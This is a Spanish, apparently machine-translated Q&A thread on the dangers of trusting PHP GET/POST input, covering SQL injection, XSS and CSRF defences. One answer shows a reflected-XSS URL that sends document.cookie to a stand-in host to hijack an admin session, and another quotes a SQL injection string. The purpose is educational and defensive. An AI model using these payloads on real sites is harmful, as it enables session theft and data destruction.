Quiero saber cuáles son las vulnerabilidades al usar la variable GET y POST directamente. es decir, con la función de recorte y agregación de pestañas y cadena de escape mysql algo así.¿Cuáles son las vulnerabilidades en el uso directo de GET y POST?
Mi pregunta es
¿Qué más tenemos que cuidar de mientras juega con GET y POST.
¿Qué tipo de ataques hay como SQL injection?
En general, y no se limita a GET y POST, sino también a cualquier dato que viene desde fuera del sistema (incluidas las cookies en el caso de aplicaciones web):
Casi todas las vulnerabilidades se reducen a "El usuario puede ejecutar el código que quiera en el contexto en el que pasa su entrada".
Necesita pensar qué está haciendo con los datos. Buscar una lista de cosas posibles que pueden salir mal al aceptar una entrada contaminada en cualquier sistema en el mundo no va a producir una lista exhaustiva.
Y como nota aparte: forget addslashes (no es efectivo), olvida mysql_real_escape (es muy fácil cometer un error con él). Use consultas parametrizadas: How can I prevent SQL injection in PHP?
+1. No solo GET, POST y cookies. Incluso un REFERER puede meterlo en problemas: http://www.hanselman.com/blog/BackToBasicsTrustNothingAsUserInputComesFromAllOver.aspx –
principalmente CSRF, XSS y de salto de directorio:
http://en.wikipedia.org/wiki/Cross-site_request_forgery
Si toma cualquier variable GET o POST y la "ejecuta" efectivamente, sin pasar por un filtro de algún tipo, se está abriendo a ataques de inyección. La inyección SQL es obviamente un caso muy común, pero si está haciendo algún tipo de eval() con esa información (en un lenguaje de programación, o cualquier otra base de datos o situación interpretada, incluyendo pasar el HTML de vuelta al navegador para ser interpretado en el cliente) luego, los atacantes conocedores pueden elaborar datos de entrada que harán que su aplicación haga cosas que no son intencionales.
Se extiende a un poco más que solo "obtener" o "publicar". Todo depende de la programación que hayas hecho para apoyarlos. Si solo está publicando una página html estática, no hay muchas vulnerabilidades. Si, por otro lado, estás configurando y modificando datos a través de solicitudes de obtención, las vulnerabilidades pueden ser infinitas, solo busca los casos en los que bot de Google borró datos de lugares que usaban 'get' para enviar cosas.
Todo depende de para lo que utilice los datos, y las vulnerabilidades están restringidas para obtener o establecer. Desinfecte sus entradas.
más fácil ataque XSS es posible con un poco de ingeniería social
Lets suponga que tiene una simple aplicación PHP, que utiliza sesiones para realizar un seguimiento de los usuarios. Y tiene algún tipo de interfaz de administración, donde los usuarios con mayores privilegios pueden, digamos, editar contenido.
Y, vamos a suponer que ha iniciado la sesión como administrador a ese sitio y que no hay dentro de esa aplicación request.php un archivo, con el siguiente fragmento de código
echo $GET['action'];
Y ahora alguien descubre este , construye la siguiente url = http://yourapp/request.php?action= document.location.href 'http://foreignsite?c=' + document.cookie
entonces que alguien añade este URL para tinyurl.com, lo que reduce a algo así como http://tinyurl.com/x44534, luego se le envía un correo electrónico , diciendo "hey, mira esto, me parece útil".
Hace clic en el enlace, tinyurl.com traduce la URL corta de nuevo a la larga, redirija el explorador a ella, su request.php salidas felizmente el Javascript de la consulta, el navegador lo ve, y lo ejecuta como una Como resultado, la persona que ejecuta http://foreignsite obtiene todas sus cookies.
Luego solo tiene que insertar los valores de las cookies en su navegador, y listo, tiene acceso instantáneo a la interfaz de administración de su sitio. Porque él obtuvo su cookie de sesión.
Esto describió el ataque XSS más simple posible, es realmente simplista, probablemente no funcionará en la vida real, pero ojalá tenga la idea básica de cómo funciona.
hmm, bueno, SO sacó las etiquetas de script como una medida de protección XSS :) de todos modos, el valor de la acción El parámetro debe estar rodeado por etiquetas de script, entonces esto tiene más sentido. –
Los datos GET y POST son datos enviados directamente por el usuario. Lo obtienes en bruto, sin verificaciones ni validaciones entre el usuario y tu programa. Incluso si validara el formulario que debería originar los datos, un atacante podría crear manualmente una solicitud con los datos que desee. Por lo tanto, siempre debe tratar los datos solicitados como una entrada de usuario no confiable.
Hay una serie de ataques que dependen del codificador, olvidando que los datos solicitados no son confiables, pero el más conocido es la inyección SQL. La causa raíz de la inyección de SQL es crear una consulta mediante la concatenación manual de cadenas, algunas de las cuales son entradas de usuario que no son de confianza. Esto significa que le está diciendo a su base de datos que ejecute la entrada del usuario que no es de confianza.
La solución ingenua para inyección SQL es validar las entradas y luego concatenarlas en una cadena de consulta, pero esta también es deficiente. Confía en su lógica de validación para hacer que la cadena sea segura, y si la usa mal, o si la lógica tiene errores, entonces estará nuevamente expuesto a los ataques.
La solución correcta es separar su consulta de los datos que contiene. Prácticamente todos los adaptadores de bases de datos admiten este enfoque, y si el suyo no lo hace por algún motivo, no es apto para su uso. La expresión más común es (en ningún idioma en particular):
myDB.query ("select * from Stuff where id =?", [42]);
Esto garantizará (en dicho sistema) que los parámetros no se ejecuten. La cadena de consulta se crea a partir de datos totalmente confiables, mientras que los datos que no son de confianza se segregan.En el peor de los casos, este enfoque aplicado a entradas incorrectas puede dar como resultado datos incorrectos, no un comando incorrecto.
Este enfoque para evitar la inyección de SQL pone de relieve el principio central que se aplica a todo tipo de ataques de datos de solicitud: los datos de solicitud no son suyos y no son seguros. Al manejar cualquier entrada de usuario, incluidos los datos de solicitud, suponga siempre que se origina de un atacante con un conocimiento profundo de su sistema. Puede parecer paranoico, pero te mantiene a salvo.
Como la gente ya ha escrito, todos y cada uno de los usuarios deben ser tratados como maliciosos, independientemente de cuán seguro se pueda sentir.
Los desarrolladores piensan en proteger el código en el momento en que lo escriben, y cuando están haciendo modificaciones, mientras que los piratas informáticos piensan en meter el código cada vez que deciden tener una solución que puede ser hoy, mañana o en dos años. Lo que podría haber parecido perfectamente seguro en el momento en que se escribió el código puede llegar a ser explotable en algún momento posterior.
Básicamente, todas las entradas deben filtrarse, examinarse y desinfectarse religiosamente independientemente de para qué se utilice en un momento determinado. Alguien podría omitir la desinfección de una parte de la entrada del usuario porque "no se usará para nada que pueda causar daño", luego, 11 meses después, alguien en el equipo decide usar los datos presuntamente desinfectados, que se asignaron a una variable, en una consulta SQL o una llamada a un administrador del sistema y todo el sistema explota.
¿Qué debe hacerse:
lista blanca en lugar de una lista negra - saber qué tipos de entrada que está esperando y convertir los datos del usuario en consecuencia, los identificadores son por lo general los números enteros por lo que es seguro para echar toda el usuario envió los identificadores como números enteros. - sepa cuándo espera pequeñas cantidades de datos y cuándo espera grandes. Los nombres personales suelen ser relativamente cortos y no contienen números, "1"; DROP TABLE clientes; " no es un nombre real y puedes saberlo sin agregar barras.
continuación, lista negra de algunos por si acaso - se aplica la lógica de escape estándar para todos los datos que se realizan a través de su lista blanca, por si acaso
luego filtrar y comprobar algunos más - hasta que se sienta seguro
Todos los superglobales pueden ser manipulados por agentes de usuario. $ _SERVER, $ _POST, $ _GET, etc.
La regla general es "no confíe en la entrada del usuario". Todo lo que entre el usuario en cualquier forma debe ser verificado. – Jess